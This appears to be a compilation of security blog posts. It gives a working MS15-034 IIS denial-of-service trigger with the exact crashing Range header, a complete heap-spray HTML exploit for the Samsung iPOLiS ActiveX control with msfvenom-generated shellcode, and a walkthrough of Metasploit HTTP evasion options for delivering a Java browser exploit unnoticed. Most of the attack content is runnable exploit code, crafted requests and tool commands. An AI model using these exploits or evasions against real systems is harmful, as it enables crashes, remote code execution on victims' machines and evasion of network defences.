HTTP.sys Denial of Service (MS15-034/CVE-2015-1635)

The vulnerability is due to crafted HTTP request by passing large value in Range header, IIS fails to validate the value properly leading to Denial of Service (Unresponsive or Blue Screen of Death) and possible Code Execution.

To trigger the vulnerability request a resource which must be present on the IIS web server, say default files (welcome.png, iisstart.htm etc.)

Original PoC was posted on Pastebin
http://pastebin.com/raw.php?i=ypURDPc4

You can verify if Kernel-mode Caching is enabled (which is enabled by default) or not.
If IIS Manager is installed follow below steps.
IIS Manager -> Default Web Site -> Output Caching ->double click -> Edit Feature Settings (on top right)

To add Cache Rule, click on Add link on top right (no required though)

We can verify http parameters using command line(CLI).

I successfully tested and observed BSoD on Windows 7 SP1 IIS 7.5, default installation.
Following range header didn't lead to crash in my case.
Range: bytes=0-18446744073709551615
but
Range: bytes=18-18446744073709551615
will definitely lead to DoS, single HTTP request didn't lead to DoS in my tests. We have to atleast make 2 or 3 HTTP requests.

Auditing/Assessing IIS using script available on pastebin
Request
GET / HTTP/1.1
Host: 192.168.56.110
Range: bytes=0-18446744073709551615

Response
HTTP/1.1 416 Requested Range Not Satisfiable
Content-Type: text/html
Last-Modified: Tue, 02 Dec 2014 05:52:00 GMT
Accept-Ranges: bytes
ETag: "a0495b17f4dd01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
X-UA-Compatible: IE=EmulateIE7
Date: Fri, 17 Apr 2015 06:51:08 GMT
Content-Length: 362
Content-Range: bytes */689
[!!] Looks VULN

Error message "HTTP Error 416. The requested range is not satisfiable" indicates the IIS Web Server is Vulnerable.

Even if we request with valid resource(welcome.png) and range 0-18446744073709551615 we get response shown above with 416 status code but doesn't see BSoD or unresponsiveness.

GET /welcome.png HTTP/1.1

Blue Screen of Death
We can see a connection reset, junk response or no response from IIS server(will lead to multiple duplicate requests) indicating unresponsiveness or BSoD. Lets look at Wireshark traces showing these scenarios.
Connection Reset from IIS Server

GET /welcome.png HTTP/1.1
Host: 192.168.56.110
Range: bytes=18-18446744073709551615

Traceback (most recent call last):
  File "./ms15_034.py", line 27, in
    goodResp = client_socket.recv(1024)
socket.error: [Errno 104] Connection reset by peer

Junk Response (partial content)

This type of response will definitely lead to BSoD.
HTTP/1.1 206 Partial Content
Content-Type: image/png
Last-Modified: Tue, 02 Dec 2014 05:52:00 GMT
Accept-Ranges: bytes
ETag: "30df5f17f4dd01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
X-UA-Compatible: IE=EmulateIE7
?$? ?3s? ? ???$?h$z? B?Content-Range: bytes 18-429

No response from IIS Server (duplicate requests)

This scenario mostly leads to Unresponsiveness. PoC script might be stuck at request phase only
GET /welcome.png HTTP/1.1
Host: 192.168.56.110
Range: bytes=18-18446744073709551615

Successful attack will lead to BSoD, following are the error messages which I observed
IRQL_NOT_LESS_OR_EQUAL
PAGE_FAULT_IN_NONPAGED_AREA

We will see following error message once the Server comes up after recovering from BSoD.

No authentication required to trigger BSoD, Patch Immediately!!!

For more details
https://github.com/rapid7/metasploit-framework/pull/5150
https://isc.sans.edu/forums/diary/MS15034+HTTPsys+IIS+DoS+And+Possible+Remote+Code+Execution+PATCH+NOW/19583/

Samsung iPOLiS 1.12.2 ReadConfigValue Remote Code Execution (Heap Spray)

Both the commands given below will generate same payload but msfpayload will be discontinued from future metasploit releases.
root@kali-ucs:~# msfpayload windows/exec cmd=calc J                                                                         root@kali-ucs:~# msfvenom -p windows/exec cmd=calc -f js_le
%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u4100
root@kali-ucs:~#

Selecting js_be option to mefvenom will throw "Big endian format selected for a non big endian payload" error.

Javascript shellcode can have null bytes.

<html>
<!--
Samsung iPOLiS 1.12.2 ReadConfigValue Remote Code Execution (heap spray)
CVE: 2015-0555
Author: Praveen Darshanam
http://blog.disects.com/2015/02/samsung-ipolis-1122-xnssdkdeviceipinsta.html
http://darshanams.blogspot.com/
Tested on Windows XP SP3 IE6/7
Thanks to Peter Van Eeckhoutte for his wonderfull exploit writing tutorials
-->

<object classid='clsid:D3B78638-78BA-4587-88FE-0537A0825A72' id='target'> </object>
<script>


var shellcode = unescape('%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u4100');

var bigblock = unescape('%u9090%u9090');
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;


var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;


var memory = new Array();
for (i = 0; i < 500; i++){ memory[i] = block + shellcode }


// SEH and nSEH will point to 0x06060606
// 0x06060606 will point to (nops+shellcode) chunk
var hbuff = "";
for (i = 0; i <5000; i++)
{
 hbuff += "\x06";
}


// trigget crash
target.ReadConfigValue(hbuff);

</script>
</html>

HTTP Evasions using Metasploit Framework

HTTP Evasions using metasploit module java_jre17_reflection_types. Below are the details of HTTP exploit which we will be using for our tests.
msf > info exploit/multi/browser/java_jre17_reflection_types
       Name: Java Applet Reflection Type Confusion Remote Code Execution
     Module: exploit/multi/browser/java_jre17_reflection_types
   Platform: Java, Linux, OSX, Windows
CVE: 2013-2423 (http://cvedetails.com/cve/2013-2423/)

Execute below commands to start using the exploit for launching attacks
msf > use exploit/multi/browser/java_jre17_reflection_types                                                          
msf exploit(java_jre17_reflection_types) >

Execute show options command to know what parameters need to be set before launching attack.
We need to set different options like destination IP/port, local IP/port and payload.

Following are different evasions which are supported by Metasploit.
msf exploit(java_jre17_reflection_types) > show evasion                                                              
Module evasion options:
   Name           : HTML::base64
   Current Setting: none
   Description    : Enable HTML obfuscation via an embeded base64 html object (IE 
      not supported) (accepted: none, plain, single_pad, double_pad, 
      random_space_injection)

   Name           : HTML::javascript::escape
   Current Setting: 0
   Description    : Enable HTML obfuscation via HTML escaping (number of iterations)

   Name           : HTML::unicode
   Current Setting: none
   Description    : Enable HTTP obfuscation via unicode (accepted: none, utf-16le, 
      utf-16be, utf-16be-marker, utf-32le, utf-32be)

   Name           : HTTP::chunked
   Current Setting: false
   Description    : Enable chunking of HTTP responses via "Transfer-Encoding: 
      chunked"

   Name           : HTTP::compression
   Current Setting: none
   Description    : Enable compression of HTTP responses via content encoding 
      (accepted: none, gzip, deflate)

   Name           : HTTP::header_folding
   Current Setting: false
   Description    : Enable folding of HTTP headers

   Name           : HTTP::junk_headers
   Current Setting: false
   Description    : Enable insertion of random junk HTTP headers

   Name           : HTTP::server_name
   Current Setting: Apache
   Description    : Configures the Server header of all outgoing replies

   Name           : TCP::max_send_size
   Current Setting: 0
   Description    : Maximum tcp segment size.  (0 = disable)

   Name           : TCP::send_delay
   Current Setting: 0
   Description    : Delays inserted before every send.  (0 = disable)
msf exploit(java_jre17_reflection_types) >

To select any evasion execute command similar to
msf exploit(java_jre17_reflection_types) > set evasion_name parameter
e.g.
msf exploit(java_jre17_reflection_types) > set HTTP::compression gzip

base64
Encode HTML page with base64, payload is not delivered in this case.
Base64 is binary-to-text encoding scheme that represent binary data in an ASCII string format by translating it into a radix-64 representation.

http://www.hcidata.info/base64.htm

javascript escape (iteration 1)
Insert unescape function into HTML page.
escape() function is used to encode string for portability reasons so it can be transmitted across networks and computers. unescape() function decodes an encoded string.

String Encoding: document.write(escape("Escape Function!"));
Output of Above Code: Escape%20Function%21

String Encoding: document.write(unescape("Escape%u20Function%u21"));
Output of Above Code: Escape Function!

unicode (utf16-be)
Unicode provides a unique number for every character, no matter what the platform, no matter what the program, no matter what the language.

For more info on Unicode
http://unicode.org/standard/WhatIsUnicode.html

chunked
Instead of "Content-Length" header, HTTP response will have "Transfer-Encoding" and data is sent in chunks whose size is mentioned at the start of the HTTP response data.

compression (gzip)
The process of reducing data size is known as “data compression”. GZIP performs best on text-based data say, CSS, JavaScript, HTML, most of the browsers support GZIP compression. For GZIP compression intricacies, refer this Youtube link.

Header Folding
Insert characters like space(\x20), horizontal tab(\x09) etc. between headers.
From RFC 2616,
        HTTP/1.1 header field values can be folded onto multiple lines if the continuation
        line begins with a space or horizontal tab. All linear white space, including folding,
        has the same semantics as SP. A recipient MAY replace any linear white space
        with a single SP before interpreting the field value or forwarding the message
        downstream.

Junk Headers
Insert invalid headers into the HTTP response.

TCP max_send_size
Metasploit doesn't send packets with segment size of  8 bytes when max_send_size is set to 8. In the normal attack scenario we were sending 30 to 40 packets but in this evasion type we send 80 packets.

TCP send_delay

TCP Delay, not sure the value passed is micro seconds or seconds, we doesn't see any delay between packets.